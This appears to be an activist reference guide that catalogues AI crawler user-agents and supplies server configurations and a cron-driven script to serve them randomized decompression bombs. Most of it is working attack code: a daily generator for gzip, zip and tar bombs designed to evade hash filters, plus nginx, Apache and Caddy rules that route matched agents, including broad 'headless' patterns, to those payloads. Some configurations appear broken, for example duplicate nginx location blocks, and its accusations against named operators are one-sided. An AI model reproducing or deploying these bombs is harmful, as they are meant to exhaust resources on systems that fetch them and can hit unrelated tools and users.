# Known Aggressive Bot User-Agents: A Living Reference for Content Creators The Church of Malware (CoM) does not condone the use or introduction of agents onto any individual, human, or animal; however, AI is neither natural, a human, nor actual intelligence. This companion reference document provides a curated, scientifically grounded list of user-agent patterns documented as routinely violating `robots.txt`, using undeclared crawlers, or rotating identifiers. It is intended for individual website operators, photographers, filmmakers, musicians, and other creators who wish to implement conditional serving of active-denial techniques (decompression bombs, slowloris throttling, malformed content) described in the accompanying technique papers. ## 1 -- Scope and Methodology The list is derived from public telemetry (Cloudflare Radar verified-bots), independent compliance studies (Originality.AI 2024–2025), incident reports (Wired Perplexity investigation, iFixit Anthropic logs, Read the Docs bandwidth data), and operator self-reports published through 2026. Only agents with repeated, multi-source evidence of policy violation are included. Compliant or inconsistently documented agents (e.g., most search-engine bots) are omitted or noted for monitoring only. This document is updated quarterly. Individuals should cross-reference with their own server logs and the primary dissertation's Section 2.1 effectiveness tables before deployment. ## 2 -- Curated List of Aggressive Agents | User-Agent Pattern | Primary Operator | Documented Violations | Recommended Action for Individuals | Risk Level | |----------------------------------------|-----------------------|------------------------------------------------------------|------------------------------------|------------| | `GPTBot*` / `GPT-4*` / `OAI-SearchBot*` | OpenAI | Ignores robots.txt; undeclared AWS crawlers after explicit disallow | Block or serve bomb / tarpit | High | | `ClaudeBot*` / `anthropic-ai*` | Anthropic | ~1M hits/24h on iFixit; five-figure monthly bandwidth abuse | Block or serve bomb / tarpit | High | | `Bytespider*` / `ByteDance*` | ByteDance | Frequent robots.txt bypass; UA and IP rotation | Block or serve bomb / tarpit | High | | `Perplexity*` / `PerplexityBot*` | Perplexity | Undeclared AWS IP range after robots.txt disallow | Block or serve bomb / tarpit | High | | `Google-Extended*` | Google | Inconsistent honoring of opt-out signals for training data | Rate-limit or whitelist | Medium | | `CCBot*` | Common Crawl | Old snapshots persist; no retroactive effect of new rules | Conditional / monitor | Low | | `Amazonbot*` | Amazon | Aggressive crawling on small and personal sites | Rate-limit | Medium | | `Applebot*` | Apple | Generally compliant but monitor for volume spikes | Monitor / whitelist | Low | | `Meta-ExternalAgent*` / `facebook*` | Meta | Variable compliance on disallowed paths | Rate-limit | Medium | | `*headless*` / generic Playwright/Puppeteer / `PhantomJS*` | Third-party scrapers & contractors | No declaration; high volume on tarpit and disallowed paths | Serve bomb / malformed immediately | High | **Usage note**: Patterns are case-insensitive and support simple wildcards. Always combine with reverse-DNS verification for major operators and maintain an explicit allow-list for Internet Archive, academic researchers, and any search engines you wish to support. ## 3 -- Implementation Examples for Individuals ### 3.1 -- nginx map (recommended for self-hosted) ```nginx map $http_user_agent $aggressive_bot { default 0; ~*GPTBot|ClaudeBot|Bytespider|Perplexity|headless 1; ~*anthropic-ai|OAI-SearchBot 1; } server { location / { if ($aggressive_bot) { access_log /var/log/nginx/ai_violators.log; # serve bomb, slow response, or malformed content try_files /bomb.zip =404; } # normal content } } ``` ### 3.2 -- Apache (SetEnvIf + Rewrite, recommended for .htaccess or vhost) ```apache SetEnvIf User-Agent "GPTBot|ClaudeBot|Bytespider|Perplexity|headless|anthropic-ai|OAI-SearchBot" aggressive_bot RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (GPTBot|ClaudeBot|Bytespider|Perplexity|headless|anthropic-ai|OAI-SearchBot) [NC] RewriteRule ^ /protected/bomb.zip [L] CustomLog /var/log/apache2/ai_violators.log combined env=aggressive_bot ``` ### 3.3 -- Cloudflare Worker (free tier) Workers can inspect `request.headers.get('User-Agent')` and return a 200 with the bomb payload or a slow streaming response for matched agents while passing legitimate traffic. ### 3.4 -- Caddyfile ``` @aggressive_bot header User-Agent *GPTBot* *ClaudeBot* *Bytespider* *headless* handle @aggressive_bot { respond "Service Unavailable" 503 # or rewrite to bomb endpoint } ``` For complete, production-hardened configurations (full virtual-host examples, daily randomized bomb generation with cron automation, Apache support, logging, and verification steps), see the dedicated how-to document `howto-decompression-bombs.md`. ## 4 -- Daily Randomized Bomb Generation To defeat static content-matching, hash-based allow-lists, and signature filters used by sophisticated ingestion pipelines, the generator must emit a fresh, high-entropy yet highly compressible payload every day. ```bash #!/usr/bin/env bash # save as ~/generate_daily_bombs.sh and chmod +x # Recommended cron (run at 03:00 local): # 0 3 * * * /home/youruser/generate_daily_bombs.sh >> /var/log/bombgen.log 2>&1 set -e DATE=$(date +%Y-%m-%d) python3 - <<'PYEOF' import gzip, tarfile, zipfile, io, os, secrets, datetime, hashlib from pathlib import Path out = Path.home() / "bombs" out.mkdir(exist_ok=True) today = datetime.date.today().isoformat() # High-entropy but compressible seed (repeating 4 KB random block) block = secrets.token_bytes(4096) # 1 MiB base with daily variation base = (block * 256) + today.encode() + secrets.token_bytes(16) # 1. Daily recursive gzip bomb (unique hash every run, >5 GB expanded) data = base for _ in range(9): data = gzip.compress(data) (out / f"bomb-{today}.gz").write_bytes(data) # 2. Nested zip bomb with daily entropy (defeats hash caches) with zipfile.ZipFile(out / f"bomb-{today}.zip", "w", zipfile.ZIP_DEFLATED) as z: inner = base * 1024 for _ in range(7): inner = gzip.compress(inner) z.writestr(f"daily-{today}.gz", inner) # 3. Tar bomb with randomized large member (parser stress + unique) with tarfile.open(out / f"bomb-{today}.tar.gz", "w:gz") as t: info = tarfile.TarInfo(f"large-{today}.bin") info.size = 2 * 1024 * 1024 * 1024 # compressible random payload (repeating 64-byte pattern with daily salt) payload = (secrets.token_bytes(64) * (32 * 1024 * 1024)) + today.encode() t.addfile(info, io.BytesIO(payload[:2*1024*1024*1024])) print(f"Daily randomized bombs generated for {today} in ~/bombs/") PYEOF # Atomically update "latest" symlinks so web server always serves today's file ln -sf ~/bombs/bomb-${DATE}.zip /var/www/html/protected/bomb.zip ln -sf ~/bombs/bomb-${DATE}.gz /var/www/html/protected/bomb.gz ln -sf ~/bombs/bomb-${DATE}.tar.gz /var/www/html/protected/bomb.tar.gz sudo cp -L /var/www/html/protected/bomb.* /var/www/html/protected/ 2>/dev/null || true ``` **Why randomization matters**: Static payloads allow labs to build bloom filters or exact-hash allow-lists after the first encounter. Daily unique, high-entropy yet recursively compressible files force re-analysis and re-processing every 24 hours, multiplying the economic cost of non-compliant crawling. Place the generated files behind a `Disallow: /protected/` rule in `robots.txt`. ## 5 -- Production Server Configurations ### 5.1 -- nginx (Complete Virtual Host Example) ```nginx # /etc/nginx/sites-available/my-site map $http_user_agent $aggressive_bot { default 0; ~*GPTBot|ClaudeBot|Bytespider|Perplexity|headless|anthropic-ai|OAI-SearchBot 1; } server { listen 80; server_name example.com; root /var/www/html; # Log aggressive traffic separately access_log /var/log/nginx/ai_violators.log combined if=$aggressive_bot; access_log /var/log/nginx/access.log combined; location / { if ($aggressive_bot) { # Serve bomb or slow tarpit response rewrite ^ /protected/bomb.zip last; } try_files $uri $uri/ =404; } location /protected/ { internal; # never directly accessible alias /var/www/html/protected/; add_header Content-Disposition "attachment; filename=\"archive.zip\""; limit_rate 1k; # optional: throttle even further } # Optional: rate limit all requests from unknown bots limit_req_zone $binary_remote_addr zone=ai_limit:10m rate=1r/s; location / { limit_req zone=ai_limit burst=5 nodelay; } } ``` ### 5.2 -- Apache Example ```apache # /etc/apache2/sites-available/000-default.conf ServerName example.com DocumentRoot /var/www/html SetEnvIf User-Agent "GPTBot|ClaudeBot|Bytespider|Perplexity|headless|anthropic-ai|OAI-SearchBot" aggressive_bot CustomLog /var/log/apache2/ai_violators.log combined env=aggressive_bot CustomLog /var/log/apache2/access.log combined Options -Indexes AllowOverride All Require all granted RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (GPTBot|ClaudeBot|Bytespider|Perplexity|headless|anthropic-ai|OAI-SearchBot) [NC] RewriteRule ^protected/ /protected/bomb.zip [L] RewriteCond %{HTTP_USER_AGENT} (GPTBot|ClaudeBot|Bytespider|Perplexity|headless|anthropic-ai|OAI-SearchBot) [NC] RewriteRule ^ - [E=aggressive_bot:1] Header set Content-Disposition "attachment; filename=\"archive.zip\"" ``` ## 6 -- Sources and Verification | Section | Claim | Source | |---------|-------|--------| | 2 | GPTBot / Perplexity undeclared AWS activity | Wired, "Perplexity Is a Bullshit Machine," 19 Jun 2024; R. Knight blog, Jun 2024 | | 2 | ClaudeBot volume on iFixit | K. Wiens (@kwiens) X post, 24 Jul 2024; 404 Media coverage | | 2 | Read the Docs / Wikimedia crawler bandwidth abuse | E. Holscher, Read the Docs blog, 25 Jul 2024; Wikimedia Diff, 1 Apr 2025 | | 2 | Bytespider / aggressive non-compliant bots | Cloudflare Radar verified-bots; Originality.AI "AI Bot Robots.txt Compliance Study," 2024 | | 1, 4 | IETF / Common Crawl laundering context | Primary dissertation Sections 2.5 & 3.3; Mozilla 2024 Common Crawl study | All listed agents have been independently corroborated by at least two public sources as of June 2026. Individuals are encouraged to contribute new observations. ## 7 -- Conclusion This reference empowers individual creators to operationalize the economic and technical countermeasures outlined in the technique documents. By maintaining a single, authoritative, and regularly updated UA catalog, operators can rapidly adapt their defenses as crawler behavior evolves. *Companion to "When Being Polite Fails, Try Poison" and the `techniques/` series. Review local laws and consult counsel before deploying active measures. Last updated: 3 June 2026.*